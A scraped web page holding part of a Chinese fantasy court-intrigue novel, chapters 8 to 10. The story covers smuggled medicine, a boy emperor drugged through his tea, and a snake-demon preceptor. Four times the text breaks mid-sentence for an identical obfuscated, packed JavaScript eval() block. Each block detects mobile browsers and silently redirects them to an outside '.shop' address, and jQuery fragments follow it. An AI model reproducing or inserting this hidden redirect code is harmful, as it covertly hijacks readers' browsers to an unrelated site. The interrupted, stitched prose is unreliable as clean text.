;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228582|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只是想利用一下她的同理心,没想到这人竟实打实烦恼了起来。便也坐下细细泡了茶水,又把茶杯斟满推到她面前:“别想了,这是我们该发愁的事。”
虽然蒋易阳的意思或许是“这不是小孩要愁的事”,但林千平又听出些“生活在这个时代的人才该思考此事”的意味来。想通关窍,她便放松精神拿起杯子喝了口茶。
茶水香气浓郁,滋味醇厚,是上好的红茶。林千平细嗅着杯底残余的桂圆香味,状似漫不经心地发问:“你有什么事吗?”
正往公道杯里倒茶的手顿了顿,仿佛没料到她这么敏锐一般,蒋易阳的声音带着点欲盖弥彰的笑意:“没有啊,只是看到你路过,想请你喝茶。”他今天的确是凑巧碰到的林千平,但也确实故意在离林家最近的商街坐了好几天。
两人相顾无言,只默默喝完一壶热水泡的茶。
再磨叽下去就该吃不上午饭了,林千平终于把杯子一放,直接了当地开口:“你到底想干什么?”她隐约察觉出蒋易阳有想谋反的苗头,但这种事又没法直接问出口来求证,只能在这儿假装谜语人相互试探。左右她现在也正打算干掉国师,不如干脆相互利用。
蒋易阳眨眨眼,拿出个布包的小盒来:“有个东西想你帮忙带一下。”
我还成走那什么犯了。林千平揣着包裹回了家,一边无语蒋易阳浪费她感情还折磨她的胃,一边在床上藏起这个不知究竟是什么玩意的盒子。
蒋易阳只说是有个宫女家里亲人去世,留下了遗物想要托人捎给她。他把这宫女的身世说得凄惨:家人遭到邪教组织侵害,族中年轻劳力都被抓走,就留着重病卧床的老母亲和幼小的妹妹无依无靠,只能仰仗她一个人养活。
林千平最听不得这个,又因为是自己先开的口,只好答应下来。好在这盒子小巧结实,放在里衣胸前应当也不算突兀。
吃饭时不见林千枋,问了小厮说还在书房见客。林千平吃完,溜到他门口想要八卦一下,就见林千枋独自坐在案桌后,眉眼间全是她从没见过的严肃凝重。
林大人贫乏的政治头脑最多够他自己保住官位,但要想让林家在时局动荡的当下能全身而退,压力自然全在这位聪明过人的长子身上。
虽然林千平没什么机会见识到他智商超过100的时候就是了。
“林照月,你怎么不吃饭啊,今天的四喜豆腐可好吃了。”林千平模仿起昨晚入梦的杏妖幽幽地掐着嗓子说话:“是想让林千平养肥了被我吃掉吗?”
林千枋的思绪突然被一段怪模怪样的噪音打断,只好起身来到门口捉拿这只小鬼:“那你吃饱了吗?”
林千平蹲在门边嘻嘻看着他,指指身后的食盒:“一般一般,刚好还可再吃一顿。”
两兄妹齐齐笑开,就在这平日里只充满墨香的书房打开了食盒。
一盘四喜豆腐、两个肉菜、一碟清炒时蔬、两碗丸子冬瓜汤和香米饭。林千平喝着爽口的汤,一边看着林千枋吃饭,一边和他说起福寿宫的那两只猫咪。
院子里要落叶的树已经开始变黄,冷空气正从北方驾着风启程南下。街角的流浪狗把窝挪进了草垛里,越冬的候鸟早就飞过此地。
秋天确实到了。
8. 古代
闻朝如今没有宵禁,但实际取消禁制还不到半年,因而大多数人仍然保持着夜晚闭门不出的生活习惯。禁制取消了,有些商铺便也经营到深夜,多少能赚些零碎银钱。
晚上十点,小炮早已困得站着就能睡着。婉娘把洗好的碗筷放回木架子上,擦擦手抱起小炮。
小孩儿瞌睡得睁不开眼,手里还攥着把没洗完的勺子。婉娘给她掖好被子才发现这把勺,好笑又心疼地掰开小手拿走。
她们现在已经有个不大的小店,虽然现在赚的钱也不多,但至少不用每天起得那么早赶来街上摆摊了。她很感谢那位慷慨的客人为她们买下这两间房,只可惜到现在也不知道那究竟是哪家的好心人。
想来应该是顶厉害的那种吧,毕竟就算是跑腿办事的佣人都那么会说话。
过去也不是没有人想帮助她,虽然绝大多数都是冲着自己独身而来的腌臢之徒,但偶尔也有同乡邻里想要帮扶一下,她全都拒绝了。
可那天那个姑娘来,别的什么都没提,只问她:“你每天这样奔波惯了没事,你女儿怎么办?她才这么小。”
是啊,她才这么小。
生活的磋磨已经使婉娘的心变得麻木,听到这句话她才忽地想起,小炮好像已经很久没有撒过娇了。丈夫和儿子还在家的时候,她也曾是个活泼顽皮的小孩。何时开始不同的呢?婉娘想不起来。
关了半扇的木门被轻轻敲响,婉娘放下舀水的木勺迎了上去:“客官对不住,我们已经打烊了……”
来的两人都身着暗色衣袍,衣服没有花纹,料子普通。走在前面的那个却气势不凡,衬得身上的棉布像是上好的锦缎一般。他走进店内,刻意避开门口,嘴里说着:“你这不是还烧着水吗?怎么就打烊了?”手上却递过来一个布包。
婉娘不明所以,那人又说着些无理取闹的话,替她揭开包裹:里面是枚样式简朴的银戒指和一个绣着树叶的红色平安符。
还未惊呼,就被捂住了嘴。婉娘认出那是丈夫的戒指和儿子的平安符,她挣开束缚拿起银戒仔细端详,戒圈内果真浅浅刻着几个歪歪扭扭的圆圈。那是丈夫刻上去的,小碗的图案。
有谁附在她耳边说话:“他们被抓去为国师建塔,地基挖好了就被……身体留在外面,头颅填在地基里…”再有什么就都听不见了。
回过神来时,大门已经关好,灶台里的火也被熄灭。只剩下昏暗烛光下的自己手里还拿着两件东西,那来的两人就像地府的使者一般,留下死亡的气息后便消失得无影无踪。
蒋易阳踢了一脚有些旧了的木门,又被旁边的人拦住动作。他站在原地看着那人把门关好,面色阴沉地斥道:“你倒是殷勤。”这人也不生气,慢慢走过来弯腰拿起他脚边的灯笼。
不甚明亮的灯光浅浅照出他的样貌:五官圆钝柔和,眉毛上撇,一双不大的眼睛总爱眯着。气质安静情绪稳定,像是走在路上被撞了也只会先问对方有没有受伤的那种人。
假若林千枋在这儿,定要大声惊呼:“好你个魏汀,居然偷偷回来和蒋二吃馄饨不叫我!”
两人并肩走了一段,蒋易阳才收了那副气极的表情。街上不剩几家店铺还开着,夜色里的可见光源除了手上的灯笼,就只剩被云层遮掩而明明灭灭的银色月光。
十八个生在正午的青壮年,十八个支离破碎的家庭。
魏汀和蒋易阳只进了其中几家,就已经要被那些沉默震得近乎耳聋——他们当真连哭的力气都没有了。
国师以为苍生祈福的名头要建宝塔,假模假样地在朝堂询问意见,实则只是通知罢了。立春动工,现在已经建到第四层。在城中没有遮挡的地方已经能看到这半截建筑像怪物一样慢慢浮现,这么快的建设速度足以窥见工匠们被盘剥得有多彻底。
他们尚不明确修建此塔究竟是何目的,但从几个加入大蛇教的民众嘴里可以得知,国师向他们宣称自己将要创造一个全新的世界,届时所有人都将死去,只有他的教徒才能活着。
利用这套说法,大蛇教在全国发展了上百个集会点,教徒从平头百姓到朝廷命官,人数众多且分布极广。这其中更不乏那些贪生怕死的有钱守财奴们,他们依照指示大肆收购田地、粮食武器、装备资源,再以通商的名义运往边境。
魏汀刚从霁县一个被破坏的集会点回来,那是个提供转运的中型据点,刚有一批粮草运到。他还记得打开那些仓门时,里头跑出来的老鼠都大得像兔子。
忽而有云飘过,月光逐渐熄灭。长街上只剩两盏莹莹烛灯左右摇摆着前进。
好在,家快到了。
林千平进了福寿宫,少见地在房间外面看到王清虞。她正指挥着小太监在杏树下拔杂草,旁边还放着桶新鲜的井水。有外人在,林千平乖乖行了礼,站在一旁看他们忙活。
王清虞假模假样地给自己找补:“这院子里就这棵杏树还顺眼些,以后要记得勤除草啊。”
等进房关了门,林千平好笑地问她:“怎么突然知道要巴结人家了?不害怕啦?”
王清虞无语地看着她:“嘴不爱用就捐了吧,知道我昨晚梦见什么了吗?”
林千平跟着坐在桌边,捏起一块金银酥塞进嘴里含糊不清地问:“梦见什么。”
“梦见通关秘籍了,法宝都送到你手上啊。”王清虞夸张地摊开手在林千平面前晃晃,脸上全是快要打boss的兴奋。
原来昨晚杏妖再次入梦,王清虞拿出从前追星的劲头,热情洋溢地夸了一整本彩虹屁——虽然这位古代妖怪也就听懂了三分之一。但好在真挚的情感还是打动了杏妖,让他说出来不少有用的东西。
杏妖说其实只有在入梦时他才觉得清醒,绝大部分时间里都在半梦半醒的状态。睡得太久,很多事就记得没那么清楚。比如上一次提醒林千平的那个大妖精,他这才想起是个人形时身上挂满布条的瘦高男人。王清虞见过国师,和他描述了样貌,果真对上七八成。
林千平不算太过意外,却也头疼起来:妖精……怎么就是个妖精了?要是把他逼急了,不会直接自爆吧?
王清虞一脸感慨地看着她:“你真该谢谢我啊,林千平同学。”
杏妖表示自己本已经想到办法可以除掉这个外来的妖精,毕竟一宫不容二妖,何况还是这么厉害的妖。可惜就是因为太过厉害,导致他或许是在试探中被对方发现,战斗
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228583|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时狼狈大败,只能被迫逃到树里陷入沉睡。
“这个办法呢,就是用他的杏果酿酒,再让那个妖精以人形喝下。虽然不能保证把他完全干掉,但至少能让人类有与他抗衡的机会。”王清虞用下巴指指角落一个不起眼的陶罐,邀功似的说道:“我费尽口舌哄着他现结了果,今天一醒我就让人找酒来泡上了。”
林千平一直面带笑意地看着她,听到这话更是开心得双眼发亮,攥着她的手感动地夸赞:“好清清,你怎么这么厉害…抱上您的大腿真是我福德深厚三生有幸做鬼也不放过你……”
王清虞满意地享受了十分钟吹捧,这才屈尊降贵地和这位干吃不干活的队友聊些其他八卦。只是不多时,林千平就提出有事要先离开。王清虞今天心情好,大方地放她走了。
林千平和引路的宫人走到半路,突然惊呼:“啊,我的玉佩忘在宫中了!”旋即打发人回去替她取来,自己则留在原地等待。
等终于四下无人,林千平才快步走进这附近唯一一处没挂牌的院子里。她按蒋易阳的描述找到个半人高的破水缸,翻开里面的一块大石头,挖好坑把小盒埋了进去。又盖好石头,还原碎瓷片。随后小心翼翼地躲过几个路过的宫人,终于回到宫道上。
刚拍完鞋上的土,玉佩就递到了眼前。林千平有些心虚地收好,催促着匆匆走了。
青絮知道皇帝偶尔会来太妃们的寝殿附近,但宫外的人只能把东西送到这间荒废的院子。她是趁休息换班的时候出来的,一路上为了躲藏绕了不少路。
好不容易到地方,却发现小皇帝正坐在前院房门前的台阶上发呆,不知是在想事还是在等人。
藏东西的水缸就在他旁边不远处的角落里,青絮没法,只得在房后躲好,暗暗期待这尊大佛能早点离开。
秋天的降温来得都很突然,好像忽然间阳光就成了唯一的热源。坐在没有光照到的地方时,身下凉,胸口也凉。
闻韫微微罗着身体,双手无力地放在腿间。他的视线停留在斜前方半开的大门上,从缝隙里隐约可以看见宫道上走过的人影。
他知道自己记性很好,也讨厌自己记性太好。
这个院子里发生过什么,他很不凑巧地全都记得。
又是风起,砖缝里脚踝高的杂草摇摆起来,和叶子稀落的树枝一起簌簌地发出声音。好似几道凄凉的笑声。
青絮在个破柜子后面躲了好一会儿,手上被草里的小虫咬了好几个包。终于是忍不住了,猫着腰探头想看看情况。正巧看见小皇帝背着手在问话,跪着的那个宫女她也算眼熟,像是福寿宫的人。
离得太远,什么都没听见。青絮也不在意,见到两人往外走了,赶紧小心跑到那口破缸前,从石头下挖出个小盒来。把盒子仔细揣在胸口,摆好石头又急忙忙回到寝宫附近。
好在赶上了下午奉茶的时间,她在暗处打开盒子,里面整齐塞着几列纸包的药粉。
直到皇帝喝下茶水,青絮紧提在喉咙里的心才稍稍放下。
她拿着托盘退出殿门,冷汗在腰上积了一圈,风一吹就凉得发麻。
红茶颜色尚可,绿茶会不会太过明显?她又恍惚想到。
9. 古代
隐亭湖是个不大的野湖,水源丰沛植被茂盛,由于气候湿润,湖面常飘有云雾。湖中有一亭,雾起时则隐。因而此湖得名“隐亭”。
虽然已是城外,但仍有大把向往美景的文人贵族乐意到这里泛舟钓鱼。周边也由此发展出些商铺茶楼、客栈驿馆之类的建筑来。
最近宵禁取消,夜里乘画舫赏月的人也多了不少。在摇晃的甲板上捧起美酒,邀月同饮与友高歌,尽情享受秋风带来的凉爽惬意,这难得的体验实在容易让人醉倒。
林千枋没有心情赏景,哪怕这也是他头次见到隐亭湖的夜色。
船舱里气氛紧张,蒋易阳用叙旧的名义把他叫出来,却是要用这美景做诱饵,逼他这个昔日好友就范。
魏汀没有再当和事佬,只坐在门旁眼观鼻鼻观心地发呆。他已站在蒋易阳这边,自然无法再出来多说什么中立的好话。
舱里的沉默已持续良久,林千枋向后靠坐着,一手搭在桌边,一手放在腿上来回捻动手指。蒋易阳知道,这是他在遇到极其麻烦的事情时才会有的思考动作。
终于,林千枋还是开口了:“你明明已经有法子联络上陛下身边的宫女,为什么还要让千平替你送药?”
他想通好友谋反的原因、想通利用皇帝转移国师注意力的计谋,却想不通他们针对林家的理由。
蒋易阳没有回答,伸手推开一旁的小窗,清风便拥着水声流进这个封闭许久的空间。
月光不强,仅仅照亮部分湖面,那一条银白色的水面便像块被丢弃的缎带,浮浮沉沉地飘在不远处。
林千枋嗓子干涩,了然说道:“你知道他还活着了…”
在场无人讶异,也无人细问,那实在是个他们都太熟悉的人。
蒋易阳平静地望向窗外,神色空茫:“他真的很了解我们,三个人里,只有你是最重感情的那个。”
这船舱里原本应该坐着四个人,就像曾经每次泛舟湖上、把酒同欢时一样。蒋易阳、林千枋、魏汀,还有一个已经死在火场里的三皇子,闻奕。
他们意气相投,称兄道弟地相伴度过了童年、少年。人生中最容易被追忆被赞美的时光里都有彼此的身影。直到那场火,烧散了这四个亲密无间的绳结。
林千枋记得闻奕求他的样子,记得自己终于看清皇亲族戚间互相残杀的可怕。蒋易阳说得没错,他在这世上最珍贵的宝贝就是感情,就是家人。所以他当初无法拒绝好友的请求,现在也做不到不为林家考虑。
又是一片寂静。
魏汀见话被挑明,于是出来缓和气氛:“嗯…我们没有非要逼他出面。但你知道的,有名头总比没有要好,对吧…”
林千枋毫无他法,就像现在坐在湖中心的船上一样,除了同意就只能投湖……当真是个鸿门之约啊!
他无奈地写了信,表示需要征求闻奕的意见。信中以好友相邀的口吻隐晦地概括了现状,末尾附上的是蒋易远队伍所经的村镇地址。
如若同意,尽快赴约。
吹干墨迹,林千枋无言地看着围坐在旁的两人。
不知是谁先起的头,笑声终是又回荡在这片静谧的隐亭湖上。
四人或许又能重聚,但他再也不好自称是闻奕的挚友了。
青絮端着铜盆退出门,刚转过身就迎面碰上个身着墨蓝色锦衣的男人。她慌忙让开路,低头躬身站在门边等待对方走过。能如此随意进入皇帝寝宫的,只有如今闻朝的实际掌权者:国师螣禹。
闻韫已经洗漱完毕,换好了寝衣坐在床边。国师走路是没有声音的,等他终于发觉有人进来时,男人高大的身影已经遮住灯光,在他头顶照下一片阴影。
“抬头看着我。”这其实是个温柔的嗓音,只是在闻韫听来总觉格外阴冷。
他抬起头,直直盯着身前那张俊美的脸。
这到底是怎样一张蛊惑人心的脸蛋呢?好让见过的人都不自觉地就要臣服于他。
眉毛是个眉毛,嘴巴也是张嘴巴。除了眼仁儿黑得几乎看不见瞳孔,闻韫想不明白他和书里那些飘逸的仙子还能有何差别。
国师举起手,轻轻抚了抚小孩儿的脑袋,又替他把垂到眼前的头发一下一下往后梳着。“好孩子,好孩子。”
闻韫开始发抖。他的手太凉了,是因为手太凉了。闻韫想到。不是自己在害怕。
他已不敢再看对方,移开视线的时候,浑身的感觉都像要加倍奉还一般突然涌进大脑。头顶好似有排玉石做的梳齿不停在刮,每一下都冰得刺骨。
螣禹居高临下地注视着这位年轻的帝王。幼小、孱弱、难成气候。他嘴里说着安慰的词句,手上毫无感情地捏住柔嫩的皮肤,逼迫面前的人继续直视自己。
闻韫不再发抖。他的思绪逐渐开始发散,无法控制身体的感觉再次袭来。眼睛还能睁开,却看不到东西;嘴巴还在开合,但发不出声音;脸颊旁边冰凉的触感也消失了。只留下耳朵,耳朵在啸叫,在注视,在咒骂。
随即沉入寂静。
瘦小的皇帝仰面倒在床褥上,脸上血色褪尽,唯有胸膛还在起伏。螣禹心情不算好,但还是替他摆正姿势,盖上被子。
再有几月就不必装模作样了,螣禹面色不虞地走出殿门,径直往宝塔修建处的方向走去。
建塔的工程本是昼夜不停的,可惜上个月累死了一批工匠,人手实在紧缺,因此不得不在夜间停工。会干活的人好找,但要找到正午出生的青壮劳力可要麻烦多了。能干苦工的百姓不是记不清时辰,就是根本没在意过这种东西。倒只能由他亲自挑选工人,效率极低不说,也实在太费精力。
螣禹走进宝塔一层,这里已经修好楼梯,正在铺设地砖。为了方便运送材料,头顶的天花板还没铺上,抬头就能看到落满繁星的夜空。他顺着楼梯走到顶,墙壁还未立起,凉风毫无阻拦地穿过夜幕打在他身上。
不到四层的宝塔已是全城最高的建筑,站在顶端足以俯瞰整个皇宫和大半都城。螣禹爱怜地抚摸着手边的一根立柱,只觉心情愉悦,通身畅快,于是就这么站在一人宽的木板上沐浴着星光吐吸起来。
待到修炼结束,发着淡淡微光的蛇尾已经顺着楼梯蔓延到一楼。螣禹睁开眼,刚想抬脚,就只听得鳞片摩擦的沙沙声。
他难以置信地看着自己的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228584|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
尾巴,终是花了好大力气才全部化回人腿。
明明每日都在吸取皇帝的阳气,为何今天突然又失效了?螣禹俊美的脸忽地扭曲起来,额头上残存的蛇鳞随着眉头的动作移动着。静立良久,他像是终于无法控制五官般,摆出个似哭似笑的怪异表情。
如若不是那个该死的妖精,他怎会落到只能靠着个小孩才能行动的地步!
他刚着手实施计划,就不知从哪来了个本地妖怪,竟和人类站在一边,什么话也不听,只知道攻击自己的同族!也怪他轻敌,才会和那妖打得两败俱伤。
这妖太过狡猾,趁他不备逃进了后宫。皇宫里的阴气和龙气纠缠在一起,令他难以分辨妖精留下的气息,倒是给这小妖建了个天然保护罩。
也不知它使的是什么武器,竟伤得他控制不住人形,只能每晚吸走小皇帝的至纯阳气用以维持平衡。可今天……今天到底怎么了?!
螣禹解开发带,让长发落到脸前遮住额头的蛇鳞,面色阴沉地迅速走下塔。他得找个地方恢复身体。
离塔不远的寝宫里,闻韫正在睡梦中奔跑。
周围什么也没有,眼睛像浸入一滩墨汁里,看手是黑,看天也是黑。
快跑!母亲说。
她的眼睛流下泪水,嘴唇无力地蠕动,唇缝间就渗出血来。
闻韫跑着,穿过房间、踏过院子,跑进朱红色大门后深不见底的黑暗里。过度呼吸让肺和鼻腔刺痛起来,双脚仍然毫无知觉地向前摆动着,直到撞上一个凉爽的怀抱。
他浑身燥热,满头大汗,这个怀抱舒适的温度令他忘记恐惧,忘记疲劳,忘记眼角的水,忘记齿缝的血。
有人轻轻抚摸他,替他盖好被子。有人带着他看书,做了玩具给他。有人在冬天送他新衣,夏天替他摘果;在春天作画,秋天饮茶。
又有谁让他窒息、恐惧、无法动弹。有谁无数次掐住他的皮肤,冰冷的手指像两根铁钳。
快跑!母亲说。闻韫盯着她苍白的脸,身下是坚硬的地砖,手边躺着一卷他早上才刚写好的字。双腿脱力般赖在原地,全身的重量只能压在两条细瘦的胳膊上。
又是谁一步一步,向他走来。
皇上病了。
消息走得很快,不到晌午已经传遍整个皇宫。螣禹刚从藏身处回来,听到禀报又只得转去寝宫。
小皇帝吐过两次,面色惨白地躺在被子里。太医来看过,只敢说是体虚身弱,开的都是没什么差错的补药。螣禹本以为是那个本地妖怪又来坏事,仔细探查后才不得不确定,这的确是人类的病。
既然是人疾,也就无法用他的术法帮助化解。现下看这副样子,提供的阳气不说滋补,护体龙气没叫他当场变回小蛇就不错了。
螣禹让太医去盯着熬药,自己坐到床边神色凝重地注视着屏风上的几只翠鸟。
急症来得蹊跷,但眼下也顾不得去细细追查。只要建塔的进度不被落下,随意找些替代品也算够用。
临时烧起来的地龙令皮肤开始脱水,螣禹按了按有些发痒的眼角,眉心跟着突突跳起来。
快了……很快就能建成了……
10. 古代
林千平觉得,桂花实际上是种极霸道的花。只要院子里种了一棵,待它开花时,你就再也注意不到其他植物了。
不巧的是,林千平院里那棵还是株有些年头的金桂。这个品种又是桂花里树形高大,香味浓郁的那一种。
满树花开时,每天早上打开门就能被这味道猛扇一个大嘴巴。再开久些,就是坐在门窗紧闭的房间里,它也要从缝隙里挤进来让你闻闻它到底香不香。
林千平实在闻得鼻子麻木,就连吃饭时嘴里都是那股甜腻的气味。于是叫人找了根光滑的长竹竿,气势汹汹地带着冬葵和小山就要去讨伐这位毫无边界感的树邻居。
冬葵拉开一块盖家具用的长布,和小山牵好站在树下准备接花。林千平举起竹竿,啪地一下就打在花开得最茂盛的那根树枝上。
树被打得枝叶颤动,花从空中哗啦啦落下来,兜头兜脑地泼了所有人一身。桂花小而结实,打在脸上头上的触感都很清晰,好似真淋了场喷香的大雨一般。
“进我衣领子里了!好痒啊!”小山扭着身体跳起来,手里倒还牢牢牵着接花用的布。冬葵笑骂着让他别装娇气,林千平也乐得咧开嘴大笑,又跟着仰头去打树枝,结果吃到了满嘴的花和叶子。
打下的桂花装满几个竹篮,林千平满意地鸣金收兵,一边摇去脑袋上的花,一边拨拨堆在容器里的战利品。冬葵手脚麻利地挑着花堆里的杂物,嘴里还数着这么多桂花都能做成些什么好东西。
桂花糕、桂花蜜、糖桂花;入酒、入茶,甚至入墨;还能做发油、缝香囊、当熏香……实在是物尽其用。林千平听着冬葵如数家珍,边在簸箕上铺开桂花,脑子里却没来由地乱想到:一种花能开发得如此彻底,发明这些的人究竟是太喜欢它,还是太讨厌了呢?
吃过午饭,也不打算小睡了。林千平趁着天气大好,让小山在院子里排上簸箕准备晒花。这边又手脚不停地和冬葵挑出花里大块的叶子和枝条,细细过了筛才拿出去晾晒。
皇上病倒以后,进宫的资格就受到了严格控制。她已经快两周没见到王清虞,也不知道做好了的吃食能不能托人给送进去。
林千平铺好最后一点花,看着满院金黄默默在心里叹了口气。
等这些桂花晒干,她那儿的杏酒是不是早该酿好了?
“我觉得应该行…”
常来的那个姑娘快半月没见了,太妃这又是关着门在和谁说话呢?
七巧路过门口,只听见房内太妃一个人的声音响起,说的话却还有来有回的,不由得心里打鼓:宫里难不成真有什么脏东西?皇上已经病了,现下就要轮到太妃了吗?
边想边给自己吓出一身白毛汗来,脚步凌乱地转身回去找人商量了。
王清虞蹲在酒坛旁边,不确定是不是应该打开瞧瞧。做酒时只让人准备了材料,洗果子、去蒂、扎眼、入坛都是她亲手来的。从来没干过酿酒的活计,也不知道有没有哪里做得不对。
杏妖也傻傻地陪她蹲着,他现在已经可以在白天的现实世界里出现,只是还不能离开这个院子。他假模假样地也摸摸酒坛光滑的外壁,幽幽地说:“其实,放酒里就行了,不用等这么久。”
王清虞被噎了一下,颇为无语地问他:“你试过?”
这妖无辜地点点头:“只放了一会儿,有妖喝了,再也没醒。”
什么品种的杏子这么毒……王清虞用惊愕又怀疑的眼神上下打量了一圈眼前这棵树妖。没听说过啊,眼镜王杏?不对,最毒的那什么来的,银环杏?
又听他补充道:“对人类无害,而且好喝。”
“你又试过了?”这妖继续点点头。
也不知道是哪个倒霉蛋替他试酒的。
王清虞得了保证终于打开酒坛,一股杏花香气霎时充满房间。是有些微酸,又有点像甜糯米的味道。闻上去没什么酒气,好像真的只是甜口的果汁饮料一样。
没有酒提子,王清虞就叫人拿了个长把的汤勺,舀了一些倒在碗里。她没什么品酒的经验,但也能看出来这酒品相不错。酒液清澈,呈现出漂亮的琥珀色,晃晃酒碗也看不到什么杂质。她小心地用嘴唇碰碰酒面,再拿舌头舔舔嘴。是种微甜的醇厚酒味,不很辛辣,极好入口。王清虞惊喜地一挑眉毛,大口把碗里的酒都喝了。
酒水一多,辣味就有些明显,香气也立时充盈在口腔鼻腔内,整个脑袋都像扎进花丛般,香得人迷迷糊糊的。
“还真是不错。”王清虞放下碗,伸手一拍杏妖的肩膀,哥俩好地夸奖他:“东西南北中,好酒在后宫啊!你下回结果是什么时候,我再酿点带走……”
七巧刚进房里送完勺子,还在门口徘徊呢,一听太妃又在自言自语,终是吓得脸色惨白,哽咽着跑远了。
约莫过了一星期,打下的桂花都已晒好。晒干的花颜色深了些,香味也没那么浓郁。林千平挑了样子完整漂亮的留着做吃食,其他都让冬葵拿去分给想要的人。做茶做发油还是做香囊都随他们,林千平只对动手做吃的感兴趣。
桂花加点盐混匀,在干净的瓷坛子里一层桂花、一层糖地铺满,就是糖桂花。花放进罐子里倒满蜂蜜,就是桂花蜜。这两样做起来都很快,林千平用上小厨房能找到的所有小个儿容器,一口气就做了半桌子。桂花糕本来应该用上糖桂花或者桂花蜜,但现在这两样都才刚入坛,只能用煮好的糖浆加点干花,倒也算凑合。
米粉先用纱布做的筛子细细过个几遍,少量点水和成有些湿润的颗粒状。再复用筛子一点一点过了,粉质就更加细腻松散。拿出冬葵不知从哪变来的模具,两层米粉中间加好糖浆和花,盖上盖子轻轻敲打,打开就是一盘子印着各种花样的小方糕了。
林千平从中午做到傍晚,除了锅里蒸着的两盘,还排了三盘子准备上锅。明晚宫里设宴,她想给王清虞多带些尝尝。
皇帝的病情逐渐稳定,但每天清醒的时间仍旧不多。国师许是精力不足,也不再盯着进宫的事宜。现下偶尔还会发些牌子准许一部分宫外的人进去,不过基本都是些知名的郎中。
中秋当天,林千平和林千枋在家里吃了团圆午饭。饭桌上几人把族里族外的八卦全聊了一遍,还不尽兴,徐芝年又喊人拿来麻将,一家四口就坐下喝茶打牌吃糕点。
林大人不怎么爱玩牌,可奈何徐芝年虽然喜欢却又不爱出去跟别人打,只好学了偶尔陪她玩。林千枋继承了母亲的喜好,脑子又好使,还没桌高的时候就会打了,现下不光能自己出牌,还能顾着妹妹的牌面,时不时
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228585|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就上手帮她出牌。
到了快要天黑的时候,两兄妹才从牌桌上起来,收拾着装准备进宫赴宴。林大人虽说已经复工,但还是不太喜欢这种场合,又偷偷用身体不适的借口请了假。国师不在乎他这号透明人,皇上又还病着,林千枋也反常地没再多劝,就让他喜滋滋地在家呆着了。
今夜天气一般,虽然晴朗,但仍有些薄云遮挡着月亮。
有些人大约会嫌弃不是赏月的最佳天气,林千平倒是挺喜欢这种朦胧的气氛。
她饶有兴致地看着一片又一片轻纱似的云层从月亮前面滑过,偶尔也往嘴里塞些青枣之类的小果子。
宫里的中秋传统是办赏月宴,只在宫殿外面摆了桌椅,提供些酒水糕点、月饼水果之类的小食。林千平刚才尝了那盘月饼,是酥皮包着的糖五仁馅。里面没放青红丝,味道还行,就是太甜太油,不怎么合她的口味,王清虞应当喜欢。
想起好友,便又左右晃着脑袋想去看人。
皇上的位置依旧摆在个台子上,只是现在椅子还空着。这回宫里的其他人倒是都坐在下面,但也是因为这个原因,林千平的视线总被其他人挡住,看了半天才远远瞅到些身影。
国师不知为何也没有出现,整个宴会就剩一群大臣和皇亲国戚们虚情假意地相互吹捧。林千平觉得坐在前面的两个官员家属都快把话题聊干了的时候,一声嘹亮的“皇上驾到!”立时把所有人都吓得齐齐跳起。
小皇帝坐着步舆来了,精神应当还算不错。小小一个穿着厚实的大氅坐在位置上,脑袋一耷拉就跟蔫了的豆苗似的,林千平都怕他在外面吹几口冷风就又得倒下。
好在他呆的时间不算久,仿佛真的只是来拯救快睡着的老头和没多少话题社交的牛马们一样,坐着歇了没一会儿就让所有人各回各家团圆去了。
林千平将要离开场地时,还在伸头使劲想找到王清虞的位置。她带了一小包的桂花糕藏在衣服里,还没来得及送出去呢。
就在周围人走得差不多的时候,晃晃悠悠过来了个衣着特别精致的太监。
林千枋正在位置上低头假装找扳指给妹妹拖延时间,那太监也没理他,只朝着林千平细声细气地小声说道:“皇上让奴才把这个给您。”说完便用袖子遮住动作,把捏着的东西塞进她手心里。林千平没来得及道谢,就见他又笑眯眯地甩着拂尘走向旁边同样慢人一步离开的某个官员:“李大人,您也落东西了么……”
林千平踢踢弯腰撅臀的林千枋,嘴里说着“哎,找着了!”,手上抓着他快步往外走了。
